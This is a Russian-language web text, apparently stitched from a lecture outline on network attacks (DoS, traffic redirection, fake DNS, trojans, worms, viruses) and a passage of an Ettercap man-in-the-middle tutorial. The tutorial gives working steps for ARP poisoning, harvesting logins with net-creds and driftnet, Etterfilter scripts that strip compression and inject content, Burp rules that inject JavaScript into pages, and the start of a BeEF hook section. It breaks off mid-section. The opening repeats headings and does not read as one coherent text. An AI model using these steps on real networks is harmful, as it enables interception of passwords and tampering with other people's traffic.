Хакеры используют для перенаправления трафика. Способы хакерских атак. Внедрение вредоносных программ. Черви

    Направляются обычно на информационные серверы предприятия, функционирование которых является критически важным условием для работоспособности всего предприятия. Чаще всего объектами DOS-атак становятся основные веб-серверы, файловые и почтовые серверы предприятия, а также корневые серверы системы DNS.

    Ложных DNS-oтветы.

    Типы атак. Перехват и перенаправление трафика

    Атаки отказа в обслуживании (DoS).

    Перехват и перенаправление трафика. Цель - направить трафик атакуемого компьютера по ложному адресу, в качестве которого может выступать адрес либо злоумышленника, либо третьей стороны.

    Ложных DNS-oтветы.

    Типы атак. Ложные DNS ответы

    Атаки отказа в обслуживании (DoS).

    Перехват и перенаправление трафика.

    Ложных DNS-oтветы. Задача злоумышленника состоит в получении доступа к корпоративному серверу. Для этого ему нужно завладеть именем и паролем авторизованного пользователя корпоративной сети. Эту информацию он решает получить путем ответвления потока данных, которые корпоративный клиент посылает корпоративному серверу.

    Внедрение вредоносных программ. Троянские программы

Троянские программы, или трояны (trojan) - это разновидность вредоносных программ, которые наносят ущерб системе, маскируясь под какие-либо полезные приложения.

Троянские программы могут применять в качестве прикрытия знакомые пользователю приложения, с которыми он работал и раньше, до появления в компьютере «троянского коня».

    Внедрение вредоносных программ. Черви

Сетевые черви (worm) - это программы, способные к самостоятельному распространению своих копий среди узлов в пределах локальной сети, а также по глобальным связям, перемещаясь от одного компьютера к другому без всякого участия в этом процессе пользователей сети.

Червь состоит из двух основных функциональных компонентов: атакующего блока и блока поиска целей.

Атакующий блок состоит из нескольких модулей (векторов атаки), каждый из которых рассчитан на поражение конкретного типа уязвимости. Этот блок открывает «входную дверь» атакуемого хоста и передает через нее свою копию.

Блок поиска целей (локатор) собирает информацию об узлах сети, а затем на основании этой информации определяет, какие из исследованных узлов обладают теми уязвимостями, для которых хакер имеет средства атаки.

    Внедрение вредоносных программ. Вирусы

Вирус (virus) - это вредоносный программный фрагмент, который может внедряться в другие файлы.

В отличие от червей вирусы (так же как и троянские программы) не содержат в себе встроенного механизма активного распространения по сети, они способны размножаться своими силами только в пределах одного компьютера. Как правило, передача копии вируса на другой компьютер происходит с участием пользователя.

Альтернативы Ettercap

Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX - одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата - это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

Net-Creds снифит:

  • Посещённые URL
  • отправленные запросы POST
  • логины/пароли из форм HTTP
  • логины/пароли при базовой HTTP аутентификации
  • поиски HTTP
  • логины/пароли FTP
  • логины/пароли IRC
  • логины/пароли POP
  • логины/пароли IMAP
  • логины/пароли Telnet
  • логины/пароли SMTP
  • SNMP community string (общую строку)
  • все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
  • Kerberos

Хорошая подборка перехватываемых, а driftnet в этом плане попроще - только показывает перехваченные изображения.

Переключите вашу машину в режим пересылки (форвардинга).

Echo "1" > /proc/sys/net/ipv4/ip_forward

Запускаем Ettercap с графическим интерфейсом (-G ):

Ettercap -G

Теперь выбираем Hosts , в нём подпункт Scan for hosts . После окончания сканирования выберите Hosts list :

В качестве Цели1 выберите роутер (Add to Target 1 ), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2 ).

Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

Если провести сканирование с помощью , то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

Nmap -sn 192.168.1.0/24

Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

Nmap -O 192.168.1.0/24

Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? 😉 LOL

Именно её мы и добавляем в качестве второй цели.

Теперь переходим к пункту меню Mitm . Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections .

Начинаем собирать урожай, в одном окне запускаем

Net-creds

в другом (обе программы можно запускать без опций)

Driftnet

Сразу же пошёл сбор данных:

В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

1.2 Ettercap + Burp Suite

3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

В меню View нам доступны вкладки Connections и Profiles . Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections - это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

Не надо слишком сильно полагаться именно на профили - помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

В Connections самые перспективные данные помечены звёздочкой:

Можно кликнуть два раза на эти записи для просмотра подробностей:

Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

Пойманная базовая аутентификация:

Логин-пароль для Яндекса (выделено внизу):

Это перехваченные учётные данные для Вконтакте:

Также самые интересные данные собираются в нижней консоли:

Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

Опции ведения журналов: -w, --write <файл> записать перехваченные данные в pcapfile <файл> -L, --log <логфайл> записать весь трафик в этот <логфайл> -l, --log-info <логфайл> записать только пассивную информацию в этот <логфайл> -m, --log-msg <логфайл> записать все сообщения в этот <логфайл> -c, --compress использовать сжатие gzip для файлов логов

4. Подмена данных на лету в Ettercap

4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

В общем, если у вас фильтры не заработали - то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter . Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

В файл с именем img_replacer.filter скопируйте:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }

Скомпилируйте файл:

Etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:

Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

Ettercap -G -F img_replacer.ef

Примечание : Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); } }

Синтаксис написания фильтров подробно описан , а далее ещё несколько примеров:

# замена текста в пакете: if (ip.proto == TCP && search(DATA.data, "lol")){ replace("lol", "smh"); msg("filter ran"); } # показать сообщение, если tcp портом является 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # записать весь telnet трафик, также выполнить./program на каждый пакет if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, "./logfile.log"); } # некоторые операции с полезной нагрузкой пакетов if (DATA.data + 20 == 0x4142) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # отбросить все пакеты, содержащие "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # убийство пакетов if (ip.ttl < 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 Подмена данных с помощью Burp

Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options . Находим там Match and Replace . Нажимаем Add для добавления нового правила.

  • Request header - это заголовок запроса
  • Request body - тело запроса
  • Response header - заголовок ответа
  • Response body - тело ответа
  • Request param name - Имя параметра запроса
  • Request param value - Значение параметра запроса
  • Request first line - Первая строка запроса

Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует - этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю.)))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

.*<\/title> </p><p> <title>No Title

Поставьте галочку на Regex match .

Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

Поставьте галочку на Regex match .

В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст - что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым - всё зависит от вашей фантазии.

Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ - то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF

Чтобы начать использовать возможности BeEF , нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

mob_info